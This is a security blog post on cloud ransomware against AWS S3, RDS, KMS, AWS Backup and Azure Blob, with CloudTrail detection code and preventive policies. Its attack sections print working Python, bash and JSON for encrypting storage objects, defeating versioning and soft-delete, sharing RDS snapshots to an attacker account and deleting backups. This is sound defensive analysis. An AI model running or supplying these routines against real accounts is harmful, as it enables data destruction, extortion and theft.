TL;DR — Cloud ransomware has evolved beyond encrypting local disk sectors into a sophisticated discipline targeting object storage, managed databases, and cloud backup systems. Attackers with valid cloud IAM credentials can encrypt every S3 object, exfiltrate RDS snapshots, and delete all recovery points in under an hour. This post dissects the full attack chain — from S3 object re-encryption and KMS key poisoning to bypassing S3 Object Lock governance mode — and provides concrete detection logic in Python using boto3.
Executive Summary
The ransomware economy has followed data into the cloud. While commodity ransomware continues to target Windows file systems with AES-CBC encryption and VSS deletion, a more dangerous tier of operators has built bespoke tooling that treats cloud storage as its primary target. The economics are compelling: a single compromised AWS IAM access key can provide read/write access to petabytes of S3 objects, dozens of RDS databases, and months of automated backups — all reachable over HTTPS with no need for lateral movement through endpoint defenses.
The 2022 research published by Clumio documented the first fully automated S3 ransomware toolkit, demonstrating that an attacker could enumerate, re-encrypt, and delete-mark every object in a large S3 bucket using only standard AWS API calls. No custom kernel drivers, no EDR evasion, no privilege escalation chains. Just API calls.
This post provides a practitioner-level breakdown of cloud ransomware mechanics, covering S3 object encryption patterns, RDS snapshot theft, Azure Blob ransomware, KMS key policy manipulation, and backup destruction. For each technique we provide detection logic and defensive controls that actually work in production environments.
Cloud Ransomware Threat Model
Cloud ransomware operators begin identically to any cloud intrusion: credential theft. The initial access vector is typically one of:
- Exposed AWS access keys in public GitHub repositories (GitGuardian tracks tens of thousands of new leaks per month)
- Phishing attacks targeting developers with AWS Console MFA fatigue
- Supply chain compromise of CI/CD pipelines with cloud deployment permissions
- Server-side request forgery (SSRF) against IMDSv1 endpoints in EC2/ECS/Lambda workloads
- Malicious npm/PyPI packages that exfiltrate environment variables at install time
Once a valid credential set is obtained, the attacker's reconnaissance phase focuses on blast radius assessment before any destructive action.
flowchart TD
A[Initial Access\nCredential Theft / SSRF / Supply Chain] --> B[Reconnaissance\nList Buckets, Describe DBs, List Backups]
B --> C{Target Assessment}
C --> D[S3 Object Store\nPetabyte-scale data]
C --> E[RDS / Aurora\nDatabase snapshots]
C --> F[EBS Volumes\nVM disk images]
C --> G[AWS Backup\nRecovery points]
D --> H[S3 Re-encryption\nGetObject + PutObject + DeleteObject]
E --> I[Snapshot Exfil\nShare to attacker account]
F --> J[Snapshot Copy\nShare + delete originals]
G --> K[Backup Destruction\nDelete recovery points]
H --> L[Ransom Note\nPUT ransom.txt to bucket root]
I --> L
J --> L
K --> LThe threat model distinguishes two operator goals. Data encryption for ransom demands the victim pay to recover data the attacker holds decryption keys for. Data destruction (pure denial of service) requires no payment mechanism — it is used by nation-state actors and in extortion scenarios where the threat of destruction is itself the leverage. The techniques overlap significantly; the difference is whether the attacker retains the decryption key.
S3 Object Re-Encryption: The Core Technique
S3 does not expose a "re-encrypt all objects" API. Instead, cloud ransomware implements a read-encrypt-write-delete loop that leverages three standard IAM actions: s3:GetObject, s3:PutObject, and s3:DeleteObject.
The attack proceeds as follows:
- Enumerate all objects in all accessible buckets using
s3:ListBucket - For each object, download (
GetObject), encrypt client-side with an attacker-controlled AES-256 key, upload the ciphertext back (PutObject), and delete the original (DeleteObject) - Deposit a ransom note by PUTting a
ransom.txtorREADME.txtobject at the bucket root
The encrypted objects are byte-for-byte incompatible with the original format. Applications reading them receive garbled ciphertext. AWS-native SSE (server-side encryption) is irrelevant here — the attacker's encryption is layered on top of or instead of it.
# DEMONSTRATION ONLY — educational illustration of S3 re-encryption pattern# This represents the attack pattern described in cloud ransomware research import boto3import osfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM def s3_reencrypt_object(s3_client, bucket: str, key: str, attacker_key: bytes) -> None: """ Illustrates the read-encrypt-write-delete loop used in S3 ransomware. The attacker_key is a 256-bit AES key held only by the attacker. """ # Step 1: Download the original object response = s3_client.get_object(Bucket=bucket, Key=key) plaintext = response['Body'].read() original_metadata = response.get('Metadata', {}) original_content_type = response.get('ContentType', 'application/octet-stream') # Step 2: Encrypt client-side with AES-256-GCM aesgcm = AESGCM(attacker_key) nonce = os.urandom(12) # 96-bit nonce for GCM ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data=key.encode()) # Prepend nonce to ciphertext so attacker can decrypt later encrypted_blob = nonce + ciphertext # Step 3: Write encrypted blob back to same key # This overwrites the original if versioning is disabled s3_client.put_object( Bucket=bucket, Key=key, Body=encrypted_blob, ContentType='application/octet-stream', Metadata={ **original_metadata, 'ransomware-encrypted': 'true', 'original-content-type': original_content_type, } ) # Step 4: Delete the original (only meaningful if versioning is enabled # and we're targeting the specific version ID) # Without versioning, PutObject already overwrote it aboveA production ransomware implementation adds concurrency. Using Python's concurrent.futures.ThreadPoolExecutor with 50-200 workers, an attacker can process thousands of objects per minute. A 10 TB bucket with average 1 MB objects (10 million objects) takes approximately 14 hours at 200 concurrent workers with average network throughput — but operators typically target high-value buckets, not necessarily the largest ones.
S3 Versioning: Bypass Strategies
The instinctive defensive response to S3 ransomware is enabling bucket versioning. With versioning enabled, a PutObject call creates a new version rather than overwriting the original, and a DeleteObject call creates a delete marker rather than permanently removing the object. Both operations are reversible.
However, an attacker with sufficient permissions can defeat versioning through several mechanisms.
Versioning suspension: If the attacker holds s3:PutBucketVersioning, they can suspend versioning before the attack begins. Subsequent PutObject calls overwrite the null-version object permanently. Existing versions remain, but new writes are destructive.
# Attacker suspends versioning before the encryption loopaws s3api put-bucket-versioning \ --bucket victim-critical-data \ --versioning-configuration Status=SuspendedDelete all versions explicitly: If the attacker cannot suspend versioning, they can enumerate all object versions and version-specific delete each one.
def delete_all_versions(s3_client, bucket: str, key: str) -> None: """Delete every version of an object, bypassing soft-delete protection.""" paginator = s3_client.get_paginator('list_object_versions') for page in paginator.paginate(Bucket=bucket, Prefix=key): versions = page.get('Versions', []) + page.get('DeleteMarkers', []) if not versions: continue objects_to_delete = [ {'Key': v['Key'], 'VersionId': v['VersionId']} for v in versions ] s3_client.delete_objects( Bucket=bucket, Delete={'Objects': objects_to_delete} )This requires s3:DeleteObjectVersion — a permission many over-permissioned IAM roles carry, especially those created before AWS introduced fine-grained S3 permissions.
S3 Object Lock: Governance Mode vs. Compliance Mode
S3 Object Lock is the strongest native defense against S3 ransomware, and it is important that defenders understand the difference between its two modes.
| Feature | Governance Mode | Compliance Mode |
|---|---|---|
| Can be bypassed by root account | Yes, with s3:BypassGovernanceRetention | No — not even root |
| Can be bypassed by IAM admin | Yes, with appropriate IAM permission | No |
| Retention period modifiable | Yes, by privileged user | No (can only be extended) |
| Legal hold removable | Yes, by s3:PutObjectLegalHold | Yes, by s3:PutObjectLegalHold |
| Appropriate for ransomware defense | Partial | Yes |
Governance mode provides a meaningful speedbump but does not constitute a genuine defense against an attacker who has compromised an IAM identity with s3:BypassGovernanceRetention. Many organizations that believe they are protected by Object Lock are in governance mode with over-permissioned roles — effectively unprotected.
Compliance mode is the meaningful control. Once an object is locked in compliance mode with a retention period, no AWS entity — including the root account — can delete or overwrite it before the retention period expires. This is enforced at the S3 service layer, not by IAM policy evaluation.
The trade-off: compliance mode cannot be rolled back. A misconfigured retention period means data is immovably locked. For this reason many organizations resist enabling it — which is exactly what ransomware operators are counting on.
RDS Snapshot Exfiltration and Deletion
Managed database services expose a different attack surface. An attacker with rds:DescribeDBSnapshots, rds:ModifyDBSnapshotAttribute, and rds:DeleteDBSnapshot can exfiltrate every automated and manual RDS snapshot and then destroy them.
sequenceDiagram
participant ATK as Attacker AWS Account
participant VIC as Victim AWS Account
participant RDS as Amazon RDS
ATK->>VIC: Assume role / use stolen key
VIC->>RDS: DescribeDBSnapshots (list all snapshots)
RDS-->>VIC: Snapshot ARNs + metadata
loop For each snapshot
VIC->>RDS: ModifyDBSnapshotAttribute\n(add attacker account to restore list)
RDS-->>ATK: Snapshot now shared
ATK->>ATK: CopyDBSnapshot (copy to attacker region)
VIC->>RDS: DeleteDBSnapshot (destroy original)
end
ATK->>VIC: Ransom demand\n("Pay or we publish your customer DB")This pattern combines ransomware (withhold decryption key / unshare snapshot) with data extortion (threaten to publish the data). The snapshot contains a full point-in-time copy of the database, typically including PII, credentials, and business-critical records.
# Enumerate and share snapshots to attacker-controlled accountATTACKER_ACCOUNT="123456789012" for SNAP_ID in $(aws rds describe-db-snapshots \ --query 'DBSnapshots[*].DBSnapshotIdentifier' \ --output text); do echo "[*] Sharing snapshot: $SNAP_ID" aws rds modify-db-snapshot-attribute \ --db-snapshot-identifier "$SNAP_ID" \ --attribute-name restore \ --values-to-add "$ATTACKER_ACCOUNT" echo "[*] Deleting original: $SNAP_ID" aws rds delete-db-snapshot \ --db-snapshot-identifier "$SNAP_ID"doneAn important subtlety: automated RDS snapshots cannot be directly shared. An attacker must first copy them to a manual snapshot, then share the manual copy. This adds a step but does not prevent the attack. The rds:CopyDBSnapshot permission is routinely granted to application roles that need to perform cross-region DR.
KMS Key Policy Manipulation
AWS Key Management Service (KMS) is the cryptographic foundation of AWS data protection. S3 SSE-KMS, EBS encryption, RDS at-rest encryption, and Secrets Manager all rely on KMS Customer Managed Keys (CMKs). An attacker who can modify a key policy can effectively ransom every resource encrypted with that key without touching the data directly — simply removing the victim's ability to call kms:Decrypt.
The attack: an attacker with kms:PutKeyPolicy modifies the key policy to remove the victim's IAM principals from the list of key users, then optionally adds themselves.
{ "Version": "2012-10-17", "Statement": [ { "Sid": "AttackerControl", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::ATTACKER-ACCOUNT:root" }, "Action": "kms:*", "Resource": "*" }, { "Sid": "DenyVictimDecrypt", "Effect": "Deny", "Principal": { "AWS": "arn:aws:iam::VICTIM-ACCOUNT:root" }, "Action": [ "kms:Decrypt", "kms:GenerateDataKey", "kms:DescribeKey" ], "Resource": "*" } ]}With this policy in place, every S3 GetObject call against SSE-KMS encrypted objects fails with AccessDeniedException. RDS cannot perform automated backups. Secrets Manager cannot decrypt secrets. The victim's environment is operationally paralyzed without a single byte of data being touched.
The countermeasure is a Service Control Policy (SCP) that prevents kms:PutKeyPolicy from removing the account root or specific emergency principals, combined with a KMS key policy that prevents scheduling key deletion.
Azure Blob Storage Ransomware
Azure's object storage presents a similar attack surface. An attacker with Storage Blob Data Contributor access on a storage account can read, write, and delete every blob in every container. The client-side encryption pattern mirrors S3:
# Azure Blob ransomware pattern using azure-storage-blob SDKfrom azure.storage.blob import BlobServiceClientfrom cryptography.hazmat.primitives.ciphers.aead import AESGCMimport os def encrypt_azure_blob( blob_service_client: BlobServiceClient, container_name: str, blob_name: str, attacker_key: bytes) -> None: """ Illustrates Azure Blob re-encryption ransomware pattern. Requires: Storage Blob Data Contributor or Storage Account Key. """ container_client = blob_service_client.get_container_client(container_name) blob_client = container_client.get_blob_client(blob_name) # Download original download_stream = blob_client.download_blob() plaintext = download_stream.readall() # Encrypt with AES-256-GCM aesgcm = AESGCM(attacker_key) nonce = os.urandom(12) ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data=blob_name.encode()) encrypted_blob = nonce + ciphertext # Overwrite with ciphertext blob_client.upload_blob( encrypted_blob, overwrite=True, metadata={'ransomware': 'true', 'original_size': str(len(plaintext))} )Azure's equivalent of S3 versioning is blob versioning and soft-delete. Both must be enabled and both can be bypassed if the attacker holds Storage Account Contributor (which can modify blob service properties) or the storage account access key.
Disabling soft-delete before the attack:
from azure.mgmt.storage import StorageManagementClient def disable_azure_soft_delete( mgmt_client: StorageManagementClient, resource_group: str, account_name: str) -> None: """Disables blob soft-delete to prevent recovery after deletion.""" mgmt_client.blob_services.set_service_properties( resource_group_name=resource_group, account_name=account_name, parameters={ 'delete_retention_policy': { 'enabled': False }, 'container_delete_retention_policy': { 'enabled': False } } )Azure's equivalent of S3 Object Lock compliance mode is immutability policies on blob containers, specifically time-based retention policies in locked state. A locked immutability policy on a container prevents deletion and overwrite for the retention duration, and cannot be removed even by subscription owners.
AWS Backup Destruction
AWS Backup provides a managed backup service that can protect S3, RDS, EBS, EFS, DynamoDB, and other services. An attacker targeting cloud ransomware must destroy backup infrastructure or the ransom leverage evaporates. The key permissions are:
backup:DeleteRecoveryPoint— destroy individual recovery pointsbackup:DeleteBackupVault— destroy an entire vault (requires vault to be empty)backup:DeleteBackupPlan— prevent future backups from runningbackup:StopBackupJob— interrupt in-progress backups
import boto3 def destroy_backup_vault(backup_client, vault_name: str) -> None: """ Iterates all recovery points in a vault and deletes them, then deletes the empty vault. Illustrates backup destruction pattern. """ paginator = backup_client.get_paginator('list_recovery_points_by_backup_vault') recovery_point_arns = [] for page in paginator.paginate(BackupVaultName=vault_name): for rp in page.get('RecoveryPoints', []): recovery_point_arns.append(rp['RecoveryPointArn']) print(f"[*] Found {len(recovery_point_arns)} recovery points in vault {vault_name}") for arn in recovery_point_arns: try: backup_client.delete_recovery_point( BackupVaultName=vault_name, RecoveryPointArn=arn ) print(f"[+] Deleted recovery point: {arn}") except backup_client.exceptions.ResourceNotFoundException: pass # Vault must be empty before deletion backup_client.delete_backup_vault(BackupVaultName=vault_name) print(f"[+] Deleted vault: {vault_name}")The critical defensive countermeasure against backup destruction is cross-account backup replication with a Backup Vault Lock (analogous to Object Lock compliance mode). Recovery points in a locked vault cannot be deleted before the minimum retention period expires, and the vault lock itself cannot be removed once enabled — not even by the management account.
CloudTrail-Based Detection Logic
Effective detection of S3 ransomware relies on identifying anomalous API call patterns in CloudTrail. Three behavioral signatures distinguish ransomware from legitimate bulk operations:
- Mass GetObject + PutObject + DeleteObject within a short time window from a single principal on a single bucket — legitimate applications rarely perform all three at high volume simultaneously
- GetObject calls followed immediately by PutObject calls on the same keys — suggests read-modify-write (encryption loop)
- Sudden appearance of version-delete API calls (
DeleteObjectVersion) at scale — legitimate operations rarely bulk-delete all versions
import boto3import jsonfrom collections import defaultdictfrom datetime import datetime, timezone, timedeltafrom typing import Dict, List, Tuple def detect_s3_ransomware_pattern( cloudtrail_client, lookback_hours: int = 1, bucket_name: str = None) -> List[Dict]: """ Queries CloudTrail for S3 ransomware behavioral indicators. Returns a list of findings, each describing a suspicious principal and the operations they performed. """ end_time = datetime.now(timezone.utc) start_time = end_time - timedelta(hours=lookback_hours) suspicious_events = [] # Track per-principal, per-bucket operation counts # Structure: {(principal, bucket): {operation: count}} operation_counts: Dict[Tuple[str, str], Dict[str, int]] = defaultdict( lambda: defaultdict(int) ) # Track GetObject → PutObject correlations on same keys get_keys: Dict[Tuple[str, str], set] = defaultdict(set) put_keys: Dict[Tuple[str, str], set] = defaultdict(set) paginator = cloudtrail_client.get_paginator('lookup_events') # Query relevant S3 data events ransomware_events = [ 'GetObject', 'PutObject', 'DeleteObject', 'DeleteObjectVersion', 'PutBucketVersioning', 'DeleteBackupVault', 'DeleteRecoveryPoint' ] lookup_attrs = [] if bucket_name: lookup_attrs = [{'AttributeKey': 'ResourceName', 'AttributeValue': bucket_name}] for event_name in ['GetObject', 'PutObject', 'DeleteObject', 'DeleteObjectVersion']: for page in paginator.paginate( LookupAttributes=[{'AttributeKey': 'EventName', 'AttributeValue': event_name}], StartTime=start_time, EndTime=end_time ): for event in page.get('Events', []): detail = json.loads(event.get('CloudTrailEvent', '{}')) principal = detail.get('userIdentity', {}).get('arn', 'unknown') resources = detail.get('resources', []) bucket = None obj_key = None for resource in resources: rtype = resource.get('type', '') rname = resource.get('ARN', '') if 'AWS::S3::Bucket' in rtype: bucket = rname.split(':::')[-1] elif 'AWS::S3::Object' in rtype: obj_key = rname if not bucket: continue if bucket_name and bucket != bucket_name: continue key = (principal, bucket) operation_counts[key][event_name] += 1 if event_name == 'GetObject' and obj_key: get_keys[key].add(obj_key) elif event_name == 'PutObject' and obj_key: put_keys[key].add(obj_key) # Evaluate findings RANSOMWARE_THRESHOLD = 100 # Adjust for environment baseline for (principal, bucket), ops in operation_counts.items(): gets = ops.get('GetObject', 0) puts = ops.get('PutObject', 0) deletes = ops.get('DeleteObject', 0) + ops.get('DeleteObjectVersion', 0) # All three operations at volume: classic re-encryption loop if gets > RANSOMWARE_THRESHOLD and puts > RANSOMWARE_THRESHOLD and deletes > RANSOMWARE_THRESHOLD: key = (principal, bucket) overlapping_keys = get_keys[key] & put_keys[key] suspicious_events.append({ 'finding': 'S3_RANSOMWARE_PATTERN', 'severity': 'CRITICAL', 'principal': principal, 'bucket': bucket, 'get_count': gets, 'put_count': puts, 'delete_count': deletes, 'overlapping_keys_count': len(overlapping_keys), 'description': ( f"Principal {principal} performed {gets} GetObject, " f"{puts} PutObject, and {deletes} DeleteObject calls " f"on bucket {bucket} within {lookback_hours}h. " f"{len(overlapping_keys)} keys were both read and overwritten." ) }) # Version mass-deletion without prior bulk read: destruction pattern elif deletes > RANSOMWARE_THRESHOLD and gets < 10: suspicious_events.append({ 'finding': 'S3_BACKUP_DESTRUCTION', 'severity': 'HIGH', 'principal': principal, 'bucket': bucket, 'delete_count': deletes, 'description': ( f"Principal {principal} deleted {deletes} object versions " f"in bucket {bucket} with minimal reads — possible backup destruction." ) }) return suspicious_events if __name__ == '__main__': ct = boto3.client('cloudtrail', region_name='us-east-1') findings = detect_s3_ransomware_pattern(ct, lookback_hours=2) for f in findings: print(f"[{f['severity']}] {f['finding']}: {f['description']}")GuardDuty provides additional signal through its managed threat intelligence, but CloudTrail behavioral analysis is the only mechanism that catches novel operators not yet represented in threat intel feeds.
Detection and Mitigation
Detective Controls
AWS GuardDuty S3 Protection should be enabled in every AWS account. GuardDuty S3 Protection analyzes CloudTrail S3 data events and flags findings such as S3/MaliciousIPCaller.Custom, S3/UnusualServerAccessPatterns, and newly added ransomware-specific detections. However, GuardDuty alone is insufficient — it lacks environment-specific baseline context.
AWS Security Hub aggregates GuardDuty findings with Config compliance findings (e.g., S3 buckets without Object Lock, KMS keys without deletion protection) into a unified dashboard. Custom Security Hub insights can track the ratio of DELETE to GET calls per principal as a ransomware indicator.
EventBridge rules can trigger Lambda functions for near-real-time response to DeleteObject spikes or PutBucketVersioning (suspension) API calls. A Lambda function that automatically re-enables versioning and alerts the security team within seconds can limit blast radius.
Preventive Controls
| Control | AWS Service | Effectiveness |
|---|---|---|
| S3 Object Lock (Compliance Mode) | S3 | Highest — immutable regardless of IAM |
| Bucket versioning | S3 | Medium — bypassed with DeleteObjectVersion |
| Cross-account backup replication | AWS Backup | High — survives account compromise |
| Backup Vault Lock | AWS Backup | Highest — immutable vault |
SCP denying kms:ScheduleKeyDeletion | AWS Organizations | High |
SCP denying s3:DeleteBucketPolicy | AWS Organizations | Medium |
| IMDSv2 enforcement (eliminates SSRF key theft) | EC2 | High for initial access prevention |
| S3 Block Public Access | S3 | Low (doesn't prevent re-encryption) |
Service Control Policies (SCPs) are the highest-leverage control available to AWS Organizations customers. An SCP that denies backup:DeleteRecoveryPoint, backup:DeleteBackupVault, and s3:DeleteObjectVersion to all principals except a dedicated break-glass role effectively prevents backup destruction even when the primary account is fully compromised.
{ "Version": "2012-10-17", "Statement": [ { "Sid": "PreventBackupDestruction", "Effect": "Deny", "Action": [ "backup:DeleteRecoveryPoint", "backup:DeleteBackupVault", "backup:UpdateRecoveryPointLifecycle", "s3:DeleteObjectVersion", "s3:PutBucketVersioning" ], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": [ "arn:aws:iam::*:role/BreakGlassBackupAdmin" ] } } } ]}Conclusion
Cloud ransomware represents a qualitative evolution from traditional ransomware. The attack surface is API-native, scales to petabytes without local execution, requires no malware deployment, and can target globally distributed data from a single IP address. The credential acquisition phase — typically a leaked IAM key or SSRF against an IMDSv1 endpoint — is the most common point of prevention failure.
Senior practitioners should internalize three principles. First, S3 versioning is not a backup — it is a soft-delete mechanism that is trivially bypassed with DeleteObjectVersion. Only S3 Object Lock in compliance mode and cross-account backups with Vault Lock provide genuine ransomware resilience. Second, KMS key policy modification is a force multiplier that can ransom an entire environment without touching a single data object — every KMS CMK should have an SCP preventing unauthorized key policy replacement. Third, detection must be behavioral — GuardDuty and CloudTrail anomaly detection must be tuned to identify the specific API call ratios (high concurrent GetObject + PutObject + DeleteObject) that distinguish ransomware from legitimate bulk operations.
The organizations that survive cloud ransomware incidents are those that tested their recovery procedures before the attack, maintained verified cross-account backups with immutable retention policies, and treated IAM key hygiene as a board-level risk — not an operational checkbox.